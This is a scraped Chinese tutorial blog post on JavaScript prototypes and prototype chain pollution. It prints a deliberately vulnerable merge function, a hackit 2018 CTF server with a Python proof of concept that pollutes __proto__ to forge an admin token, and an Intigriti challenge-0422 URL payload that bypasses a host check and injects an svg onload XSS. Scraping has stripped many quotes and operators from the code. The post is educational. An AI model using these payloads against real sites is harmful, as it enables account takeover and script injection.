您的位置: 首页 - 站长

p2p提供网站建设违法做美食软件的视频网站

当前位置: 首页 > news >正文

p2p提供网站建设违法,做美食软件的视频网站,微信网站开发哪家好,杭州网站建设_数据库开发网站_大数据网站开发XSS原型链污染1.原型链的概念1.1 构造函数的缺点1.2 prototype 属性的作用1.3 原型链1.4 constructor属性1.5 prototype和proto2. 原型链污染2.1 原型链污染是什么#xff1f;2.2 原型链污染的条件2.3 原型连污染实例2.3.1 hackit 20182.3.2 challenge-04223.总结1.原型链… XSS原型链污染1.原型链的概念1.1 构造函数的缺点1.2 prototype 属性的作用1.3 原型链1.4 constructor属性1.5 prototype和proto2. 原型链污染2.1 原型链污染是什么2.2 原型链污染的条件2.3 原型连污染实例2.3.1 hackit 20182.3.2 challenge-04223.总结1.原型链的概念 面向对象编程很重要的一个方面就是对象的继承。A 对象通过继承 B 对象就能直接拥有 B 对象的所有属性和方法。这对于代码的复用是非常有用的。 大部分面向对象的编程语言都是通过“类”class实现对象的继承。传统上JavaScript 语言的继承不通过 class而是通过“原型对象”prototype实现本章介绍 JavaScript 的原型链继承。 虽然ES6题出了类的概念但是其底层实现还是通过原型链来完成的。 1.1 构造函数的缺点 JavaScript 通过构造函数生成新对象因此构造函数可以视为对象的模板。实例对象的属性和方法可以定义在构造函数内部。 function Cat(name, color) {this.name name;this.color color;}var cat1 new Cat(大毛, 白色);console.log(cat1.name);console.log(cat1.color);上面代码中Cat函数是一个构造函数函数内部定义了name属性和color属性所有实例对象上例是cat1都会生成这两个属性即这两个属性会定义在实例对象上面。 通过构造函数为实例对象定义属性虽然很方便但是有一个缺点。同一个构造函数的多个实例之间无法共享属性从而造成对系统资源的浪费。也就是说每新建一个对应的对象这部分对象间可以共享的固有属性必须得重新分配内存空间去存储。引发资源浪费。 function Cat(name, color) {this.name name;this.color color;this.meow function () {console.log(喵喵);}; }var cat1 new Cat(大毛, 白色); var cat2 new Cat(二毛, 黑色);cat1.meow cat2.meow结果 上面代码中cat1和cat2是同一个构造函数的两个实例它们都具有meow方法。由于meow方法是生成在每个实例对象上面所以两个实例就生成了两次。也就是说每新建一个实例就会新建一个meow方法。这既没有必要又浪费系统资源因为所有meow方法都是同样的行为完全应该共享。 这个问题的解决方法就是 JavaScript 的原型对象prototype。 即就是说JS为了解决构造函数生成实例时不同实例之间的共享属性方法问题提出了原型链的概念。 1.2 prototype 属性的作用 JavaScript 继承机制的设计思想就是原型对象的所有属性和方法都能被实例对象共享。也就是说如果属性和方法定义在原型上那么所有实例对象就能共享不仅节省了内存还体现了实例对象之间的联系。(原型是一块共享内存区域在此处可以存放实例之间的共享元素) 下面先看怎么为对象指定原型。JavaScript 规定每个函数都有一个prototype属性指向一个对象。 function f() {} typeof f.prototype // object我们发现任何函数都有原型属性其指向一个对象。 对于普通函数来说该属性基本无用。但是对于构造函数来说生成实例的时候该属性会自动成为实例对象的原型。 function Animal(name) {this.name name; } //定义构造函数的原型对象的color属性为 white Animal.prototype.color white;//创建了两个实例 var cat1 new Animal(大毛); var cat2 new Animal(二毛);//可以访问到实例自动获取的color属性 cat1.color // white cat2.color // white上面代码中构造函数Animal的prototype属性就是实例对象cat1和cat2的原型对象。原型对象上添加一个color属性结果实例对象都共享了该属性。 原型对象的属性不是实例对象自身的属性。只要修改原型对象变动就立刻会体现在所有实例对象上。 Animal.prototype.color yellow;cat1.color // yellow cat2.color // yellow上面代码中原型对象的color属性的值变为yellow两个实例对象的color属性立刻跟着变了。这是因为实例对象其实没有color属性都是读取原型对象的color属性。也就是说当实例对象本身没有某个属性或方法的时候它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。 如果实例对象自身就有某个属性或方法它就不会再去原型对象寻找这个属性或方法。 cat1.color black;cat1.color // black cat2.color // yellow Animal.prototype.color // yellow;上面代码中实例对象cat1的color属性改为black就使得它不再去原型对象读取color属性后者的值依然为yellow。 总结一下原型对象的作用就是定义所有实例对象共享的属性和方法。这也是它被称为原型对象的原因而实例对象可以视作从原型对象衍生出来的子对象。 再比如我们在构造函数的原型上定义一个walk方法 Animal.prototype.walk function () {console.log(this.name is walking); };此方法可以在每一个实例中调用 function Animal(name) {this.name name;}Animal.prototype.walk function () {console.log(this.name is walking);};//创建了两个实例var cat1 new Animal(大毛);var cat2 new Animal(二毛);//实例中可以调用对应的方法cat1.walk();car2.walk();到这里我们明白了原型的作用其实就是为构造函数创建的所有实例提供一个共享内存空间在这个空间内存放的属性方法每一个新建的实例都可以调用。并且新建的实例允许拥有自己的新实现(修改默认的属性也就是自定义属性)。 1.3 原型链 JavaScript 规定所有对象都有自己的原型对象prototype。一方面任何一个对象都可以充当其他对象的原型另一方面由于原型对象也是对象所以它也有自己的原型。因此就会形成一个“原型链”prototype chain对象到原型再到原型的原型…… 因为构造函数的原型属性指向的就是一个对象所以这意味着什么当然是作为对象的原型也拥有自己的构造函数(object)且其原型属性且指向一个原型。 如果一层层地上溯所有对象的原型最终都可以上溯到Object.prototype即Object构造函数的prototype属性。也就是说所有对象都继承了Object.prototype的属性。这就是所有对象都有valueOf和toString方法的原因因为这是从Object.prototype继承的。 这里的object是整个JS的基点类似于宇宙的奇点也就是说作为object它也是构造函数所以肯定也有原型属性。而这个原型上面定义的就有tostring和valueof方法。所以由它创建的所有JS函数也好、实例也罢。均可以访问这两个函数。 那么Object.prototype对象有没有它的原型呢回答是Object.prototype的原型是null。null没有任何属性和方法也没有自己的原型。因此原型链的尽头就是null。 Object.getPrototypeOf(Object.prototype) // null上面代码表示Object.prototype对象的原型是null由于null没有任何属性所以原型链到此为止。Object.getPrototypeOf方法返回参数对象的原型。 读取对象的某个属性时JavaScript 引擎先寻找对象本身的属性如果找不到就到它的原型去找如果还是找不到就到原型的原型去找。如果直到最顶层的Object.prototype还是找不到则返回undefined。如果对象自身和它的原型都定义了一个同名属性那么优先读取对象自身的属性这叫做“覆盖”overriding。 注意一级级向上在整个原型链上寻找某个属性对性能是有影响的。所寻找的属性在越上层的原型对象对性能的影响越大。如果寻找某个不存在的属性将会遍历整个原型链。 举例来说如果让构造函数的prototype属性指向一个数组就意味着实例对象可以调用数组方法。 var MyArray function () {};MyArray.prototype new Array(); MyArray.prototype.constructor MyArray;var mine new MyArray(); mine.push(1, 2, 3); mine.length // 3 mine instanceof Array // true上面代码中mine是构造函数MyArray的实例对象由于MyArray.prototype指向一个数组实例使得mine可以调用数组方法这些方法定义在数组实例的prototype对象上面。最后那行instanceof表达式用来比较一个对象是否为某个构造函数的实例结果就是证明mine为Array的实例。 1.4 constructor属性 prototype对象有一个constructor属性默认指向prototype对象所在的构造函数。 function P() {} P.prototype.constructor P // true由于constructor属性定义在prototype对象上面意味着可以被所有实例对象继承。 function P() {} var p new P();p.constructor P // true p.constructor P.prototype.constructor // true p.hasOwnProperty(constructor) // false上面代码中p是构造函数P的实例对象但是p自身没有constructor属性该属性其实是读取原型链上面的P.prototype.constructor属性。 constructor属性的作用是可以得知某个实例对象到底是哪一个构造函数产生的。 function F() {}; var f new F();f.constructor F // true f.constructor RegExp // false上面代码中constructor属性确定了实例对象f的构造函数是F而不是RegExp。 另一方面有了constructor属性就可以从一个实例对象新建另一个实例。 function Constr() {} var x new Constr();var y new x.constructor(); y instanceof Constr // true上面代码中x是构造函数Constr的实例可以从x.constructor间接调用构造函数。这使得在实例方法中调用自身的构造函数成为可能。 Constr.prototype.createCopy function () {return new this.constructor(); };上面代码中createCopy方法调用构造函数新建另一个实例。 constructor属性表示原型对象与构造函数之间的关联关系如果修改了原型对象一般会同时修改constructor属性防止引用的时候出错。 错误实例 function Person(name) {this.name name; }Person.prototype.constructor Person // true//修改原型属性的指向 Person.prototype {method: function () {} }; //没有主动修改该constructor的情况下这里会出现不一致的情况 Person.prototype.constructor Person // false Person.prototype.constructor Object // true上面代码中构造函数Person的原型对象改掉了但是没有修改constructor属性导致这个属性不再指向Person。由于Person的新原型是一个普通对象而普通对象的constructor属性指向Object构造函数导致Person.prototype.constructor变成了Object。 // 坏的写法 C.prototype {method1: function (…) { … },// … };// 好的写法 C.prototype {constructor: C,method1: function (…) { … },// … };// 更好的写法 — 避免对原型对象的直接修改不破坏结构用方法名区分 C.prototype.method1 function (…) { … };上面代码中要么将constructor属性重新指向原来的构造函数要么只在原型对象上添加方法这样可以保证instanceof运算符不会失真。 如果不能确定constructor属性是什么函数还有一个办法通过name属性从实例得到构造函数的名称。 function Foo() {} var f new Foo(); f.constructor.name // Foo到这里我们捋清楚了constructor属性的作用其在是在原型中默认自带的一个属性值为当前原型的拥有者(指向当前原型所属的构造函数)。可以实现通过实例调用构造函数做一些实例的拷贝功能。要注意的一点是constructor属性会自动修改数值当我们人为的修改了原型属性的指向时还想用它访问构造函数的话一定要记得将constructor的数值进行修改不过更多的建议是不要对原型对象进行指向修改。可以用添加方法的形式在不破坏原型结构的情况下实现功能。 当然利用这个属性我们可以实现通过实例访问原型对象 scriptfunction Person(name) {this.name name;}let per new Person(batman);console.log(Person.prototype);console.log(per.constructor.prototype); /script1.5 prototype和proto 通过上面的学习我们知道了prototype原型作为构造函数的属性其指向一个对象。我们可以给这个对象添加一些属性、方法。这些添加在原型上的属性方法可以被实例对象无条件继承。当然数据是只有一份的。那么如果我们想要在实例中直接访问构造函数的原型应该怎么样访问呢 这样? function Foo() {this.bar 1}Foo.prototype.name this is test for prototype;var foo1 new Foo();console.log(foo1.name);console.log(foo1.prototype);那肯定是访问不到的因为是这样用的 function Foo() {this.bar 1}Foo.prototype.name this is test for prototype;var foo1 new Foo();console.log(foo1.name);console.log(foo1.proto);到这里我们可以看到其实proto的作用就是让实例对象可以访问到自己构造函数的原型对象。也就是说一直访问我们可以看到原型链 function Foo() {this.bar 1}Foo.prototype.name this is test for prototype;var foo1 new Foo();console.log(foo1.name);console.log(foo1.proto);console.log(foo1.proto.proto);console.log(foo1.proto.proto.proto);看到了吧真的通过三次原型访问我们找到了null。因为我们的构造函数上一级就是object所以上走两级就是object的原型而object的原型又恰好定义为了null。所以我们可以看到这样的现象。

  1. 原型链污染 2.1 原型链污染是什么 我们通过一个简单的例子来看一看原型链污染的现象 // foo是一个简单的JavaScript对象 let foo {bar: 1}// foo.bar 此时为1 console.log(foo.bar)// 通过对象修改foo的原型中的bar即Object foo.proto.bar 2// 由于查找顺序的原因foo.bar仍然是1 console.log(foo.bar)// 此时再用Object创建一个空的zoo对象 let zoo {}// 查看zoo.bar值为修改后的2 console.log(zoo.bar)也就是说原型链污染的原因就是我们通过谋克可访问的对象通过proto属性对其构造函数的原型对象进行修改。以此来影响后续此构造函数所创建的每一个实例的对应属性。前提是这个实例没有对该属性进行自定义修改。 2.2 原型链污染的条件 在实际应用中哪些情况下可能存在原型链能被攻击者修改的情况呢 我们思考一下哪些情况下我们可以设置proto的值呢其实找找能够控制数组对象的“键名”的操作即可 对象merge 用于结合拼接对象clone其实内核就是将待操作的对象merge到一个空对象中 复制 以对象merge为例我们想象一个简单的merge函数 function merge(target, source) {//循环取出source中的keyfor (let key in source) {//判断key是否在源目均存在存在就递归调用mergeif (key in source key in target) {merge(target[key], source[key])} else {//不存在直接让源覆盖目target[key] source[key]}} }总结来说这个函数的作用就是进行对象之间的属性传递源对象的属性会完全覆盖掉目的对象。目的对象没有的直接赋值。目的对象有的递归调用后还是会将目的对像的相应属性进行覆盖。 我们尝试进行一次污染: //定义了对象o1和o2并在o2里面添加了原型作为键 let o1 {} let o2 {a: 1, proto: {b: 2}} //这里o1在复制的过程中会出现 o1._proto__ {b:2} //也就是说后续可以用o3.b访问到原型属性o3.proto.b2 merge(o1, o2) console.log(o1.a, o1.b)o3 {} console.log(o3.b)结果 这里并没有像我们推理的那样污染到原型链。我们采用断点分析跟进分析 直接没有取出proto键而是忽略掉了。仅仅取出了键a和键b。 这是因为我们用JavaScript创建o2的过程let o2 {a: 1, proto: {b: 2}}中proto已经代表o2的原型了此时遍历o2的所有键名你拿到的是[a, b]proto并不是一个key自然也不会修改Object的原型。 修改代码 let o1 {} let o2 JSON.parse({a: 1, proto: {b: 2}}) merge(o1, o2) console.log(o1.a, o1.b)o3 {} console.log(o3.b)继续打断点跟进
    可以看到已经取出来proto作为键名了自然最终可以实现原型链污染 这是因为JSON解析的情况下proto会被认为是一个真正的“键名”而不代表“原型”所以在遍历o2的时候会存在这个键。 merge操作是最常见可能控制键名的操作也最能被原型链攻击很多常见的库都存在这个问题。 2.3 原型连污染实例 2.3.1 hackit 2018 这道题的灵感来自hackit2018,后端启动了一个nodejs程序提供两个接口api和admin。用户提交参数利用原型链污染实现非法修改登录信息从而登陆admin。 const express require(express) var hbs require(hbs); var bodyParser require(body-parser); const md5 require(md5); var morganBody require(morgan-body); const app express(); var user []; //empty for nowvar matrix []; for (var i 0; i 3; i){matrix[i] [null , null, null]; }function draw(mat) {var count 0;for (var i 0; i 3; i){for (var j 0; j 3; j){if (matrix[i][j] ! null){count 1;}}}return count 9; }app.use(express.static(public)); app.use(bodyParser.json()); app.set(view engine, html); morganBody(app); app.engine(html, require(hbs).express);app.get(/, (req, res) {for (var i 0; i 3; i){matrix[i] [null , null, null];}res.render(index); })app.get(/admin, (req, res) { /this is under development I guess ??/console.log(user.admintoken);if(user.admintoken req.query.querytoken md5(user.admintoken) req.query.querytoken){res.send(Hey admin your flag is bflag{prototype_pollution_is_very_dangerous}/b);} else {res.status(403).send(Forbidden);}
    } )app.post(/api, (req, res) {var client req.body;var winner null;if (client.row 3 || client.col 3){client.row % 3;client.col % 3;}matrix[client.row][client.col] client.data;for(var i 0; i 3; i){if (matrix[i][0] matrix[i][1] matrix[i][1] matrix[i][2] ){if (matrix[i][0] X) {winner 1;}else if(matrix[i][0] O) {winner 2;}}if (matrix[0][i] matrix[1][i] matrix[1][i] matrix[2][i]){if (matrix[0][i] X) {winner 1;}else if(matrix[0][i] O) {winner 2;}}}if (matrix[0][0] matrix[1][1] matrix[1][1] matrix[2][2] matrix[0][0] X){winner 1;}if (matrix[0][0] matrix[1][1] matrix[1][1] matrix[2][2] matrix[0][0] O){winner 2;} if (matrix[0][2] matrix[1][1] matrix[1][1] matrix[2][0] matrix[2][0] X){winner 1;}if (matrix[0][2] matrix[1][1] matrix[1][1] matrix[2][0] matrix[2][0] O){winner 2;}if (draw(matrix) winner null){res.send(JSON.stringify({winner: 0}))}else if (winner ! null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}}) app.listen(3000, () {console.log(app listening on port 3000!) })获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等且二者都要存在。 将上面的源码放到路径下解决依赖之后就可以运行。我们先来看它的漏洞点 //请求接口admin页面验证失败就返回forbidden app.get(/admin, (req, res) { /this is under development I guess ??/console.log(user.admintoken);if(user.admintoken req.query.querytoken md5(user.admintoken) req.query.querytoken){res.send(Hey admin your flag is bflag{prototype_pollution_is_very_dangerous}/b);} else {res.status(403).send(Forbidden);}
    } )//用户提交参数的api接口 app.post(/api, (req, res) {var client req.body;var winner null;if (client.row 3 || client.col 3){client.row % 3;client.col % 3;}//漏洞点此处用户提交的row和col以及data均可控那么利用原型链污染的原理就可以污染object原型对象的参数。//污染admintokrn为已知信息matrix[client.row][client.col] client.data;先进行本地测试 可以实现进行python的poc编写 import requests import jsonurl1 http://127.0.0.1:3000/api #md5(batman) is the value of querytoken url2 http://127.0.0.1:3000/admin?querytokenec0e2603172c73a8b644bb9456c1ff6es requests.session()headers {Content-Type:application/json} data1 {row:
    proto,col:admintoken,data:batman}res1 s.post(url1,headersheaders,datajson.dumps(data1)) res2 s.get(url2)print(res2.text)效果
    2.3.2 challenge-0422 challenge-0422是世界著名的XSS挑战网站其中的一期原型链污染挑战。关于这个挑战几乎每一个月都会有一次。挑战成功的人可以获得一些奖品。当然难度也不低。大家有兴趣的可以去参考学习。 0422的意思是22年4月份的题目。在对应URL进行更改即可。 我们来看这道题 页面上给了一个模拟windows的程序显然点击完毕后没有任何反应。我们需要找到对应的JS源码。我们看到源码内部有一个iframe标签。我们尝试进入 view-source:https://challenge-0422.intigriti.io/challenge/Window%20Maker.html 这样一来的话我们就可以开展对于其源码的初步分析了罗列出其主要的功能代码建议各位先揣摩揣摩。下面的内容可能有些难以理解 //main函数的位置function main() {//利用qs接收url中?以及以后的内容并对其进行const qs m.parseQueryString(location.search)let appConfig Object.create(null)appConfig[version] 1337appConfig[mode] productionappConfig[window-name] WindowappConfig[window-content] default content//在JS中[string]的写法表明这里是一个数组赋值appConfig[window-toolbar] [close]appConfig[window-statusbar] falseappConfig[customMode] falseif (qs.config) {//第一次merge的调用位置merge(appConfig, qs.config)//这里把定制按钮打开appConfig[customMode] true}//又开始创建对象devsettingslet devSettings Object.create(null)//一系列的赋值root接收到的是标签对象devSettings[root] document.createElement(main)devSettings[isDebug] falsedevSettings[location] challenge-0422.intigriti.iodevSettings[isTestHostOrPort] false//调用了这里的checkhost函数作为依据进入第二次调用mergeif (checkHost()) {//键值判断 测试主机端口标识位 置1devSettings[isTestHostOrPort] true//调用merge覆盖devsettings,覆盖用的参数是qs的settings表明我们可以传递settings这样一个参数进去merge(devSettings, qs.settings)}//判断是测试主机或者debug模式就打印两个对象appConfig和devSettingsif (devSettings[isTestHostOrPort] || devSettings[isDebug]) {console.log(appConfig, appConfig)console.log(devSettings, devSettings)}//根据custommode的值对devsettings.root采取不同的内容挂载if (!appConfig[customMode]) {m.mount(devSettings.root, App)} else {m.mount(devSettings.root, {view: function () {return m(CustomizedApp, {name: appConfig[window-name],content: appConfig[window-content],options: appConfig[window-toolbar],status: appConfig[window-statusbar]})}})}//将devSettings.root插入到body里面去document.body.appendChild(devSettings.root)}//获取当前页面的location信息提取host仅当端口号为8080时返回true或者hostname为127.0.0.1//返回truefunction checkHost() {const temp location.host.split(:)const hostname temp[0]const port Number(temp[1]) || 443return hostname localhost || port 8080}//判断是否非本源function isPrimitive(n) {return n null || n undefined || typeof n string || typeof n boolean || typeof n number}//进阶版的merge函数内部对于敏感字符特别是
    proto进行了过滤function merge(target, source) {let protectedKeys [proto, mode, version, location, src, data, m]//从源中获取键值for (let key in source) {//遇到了包含敏感字符的键直接跳出循环一次予以忽略if (protectedKeys.includes(key)) continue//迭代进行merge的赋值//判断数据类型类型符合就将其送入sanitize进行过滤。之后在进行赋值if (isPrimitive(target[key])) {target[key] sanitize(source[key])} else {merge(target[key], source[key])}}}//过滤函数判断输入是否是字符串如果是字符串就对其进行过滤function sanitize(data) {if (typeof data ! string) return datareturn data.replace(/[%$\s\]/g, _).replace(/script/gi, _)}main()})()上面的代码分析完了我们就要开始着手解题了。先找特征函数merge函数。总共出现了两次第一次触发是无条件的对appconfig做了修改。目前看来没有啥大用。第二次呢是有条件的调用调用前必须有一个校验函数的返回值为1。通过上面的分析。 作为checkhost函数其判断依据就是请求的主机名和端口号。目前看来也是没有任何办法让其检测通过。 再看第二个merge的作用第二个merge修改覆盖了devSettings这个参数显然在main函数结尾使用了document.body.appendChild(devSettings.root)这让人眼前一亮的插入行为。 大致的思路出来了我们得先想办法干扰checkhost函数才有望对插入的devconfigs.root进行污染。我们此时再来看看这个函数 function checkHost() {//获取了参数const temp location.host.split(:)//用了temp数组进行参数的取出const hostname temp[0]//继续调用temp[1]来取端口号斯端口号肯定没显示取不出来。//那就默认443咯const port Number(temp[1]) || 443return hostname localhost || port 8080}回想一下原型链污染的基本概念使用实例访问原型对象并创建相应属性对新创建的没有该属性的实例进行污染。这里的temp有没有.1这个属性没有吧那我们就构造如下参数进行污染 https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c onstructor][prototype][1]8080 //我们就是访问到了object.ptototype.1 8080 后续新建的temp虽然没有.1这个属性 //但是object作为始祖原型拥有此属性通过系统循环找到了这个属性并且值恰好是8080 //于是绕过了此处的checkhost函数成功将对sttings的merge引入执行流程。现在你肯定有两个疑问 Q1:为什么不用proto访问原型对象 A1:在进行merge的时候作者坏坏的过滤了这个参数遇到这个字符直接会跳出当前循环忽略它的存在 Q2:控制台里为什么有多处了两个对象 A2因为在这里有判断输出的代码 //判断是测试主机或者debug模式就打印两个对象 appConfig和devSettings if (devSettings[“isTestHostOrPort”] || devSettings[“isDebug”]) { console.log(‘appConfig’, appConfig) console.log(‘devSettings’, devSettings) } 接下来我们的目标就是污染setting参数想办法插入完整的JS代码完成XSS https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c onstructor][prototype][1]8080settings[root][ownerDocument][body][children][1][outerHTML] [1]%3Csvg%20onload%3Dalert(1)%3E后面setting的参数是一级一级找寻插入点得到的。比如这样 最终弹窗效果 注意这个弹窗又是只能在firefox之外的浏览器上生效。不过无伤大雅大家能大致理解这个思路就行。通过二次原型链污染最终插入的我们的JS代码实现了一个XSS弹窗。 3.总结 首先原型对象的提出是为了解决JS代码中使用构造函数创建多个有重复属性方法实例时的引发的资源浪费问题。通过给构造函数赋予prototype属性(该指向一个具有共享功能的原型对象)所有写到原型对象中的属性方法都默认被实例继承。当然这并不妨碍实例自定义属性和方法。这就是原型的工作原理。 作为原型对象实例自然有自己的构造函数(object),故object.prototype上指定的方法会被所有JS函数拥有也就是我们常说的任何对象都有tostring方法和valueof方法。作为始祖protottpe始祖原型的它,它的构造函数不存在故想要访问它的原型对象时只会返回null。 但是也正是这一机制的存在构成了原型链即就是说任意一个对象访问其不存在的方法属性时会先找自己的原型对象自己的原型对象没有时就会再找原型对象的原型对象循环往复直到找到object的原型对象的原型对象返回了null才停止寻找。自然原型链过长会影响性能。 那么所谓的原型链污染其原理就是通过对于某一实例的原型对象属性的修改让与其同构造函数创建的实例在后续程序运行中调用被修改过的属性。从而达到影响程序执行进程实现恶意XSS或其他恶意行为的攻击。其对多见于merge这样的赋值函数。 那么在merge函数中要使用原型链污染就必须将原型链插入到目标里面去为了解决merge运行时默认不识别proto的问题我们会对传入merge的参数进行json化处理。依次达到效果这在hackit2018的payload中有所体现。 那么在通过实例访问原型对象的过程中我们不仅仅可以使用proto__还可以使用constructor.prototype访问。同样可以达到效果这在challenge-0422挑战中也是作为绕过方法使用。 总的来说原型链污染这个话题还是有很多更加深入的内容值得探究本文也只是浅尝辄止。诸位要是有兴趣的话可以再深入探究。随着前端技术能实现的功能日益加强其出现的安全问题同样不容小视。 路还很长特别是对于代码的基础功底。还有很长一段路要走共勉 在补充一句原型链污染的预防个人觉得只能从代码书写角度去进行防范任何会进入到merge的参数都进行过滤。如此一来可以阻挡一部分原型链污染攻击。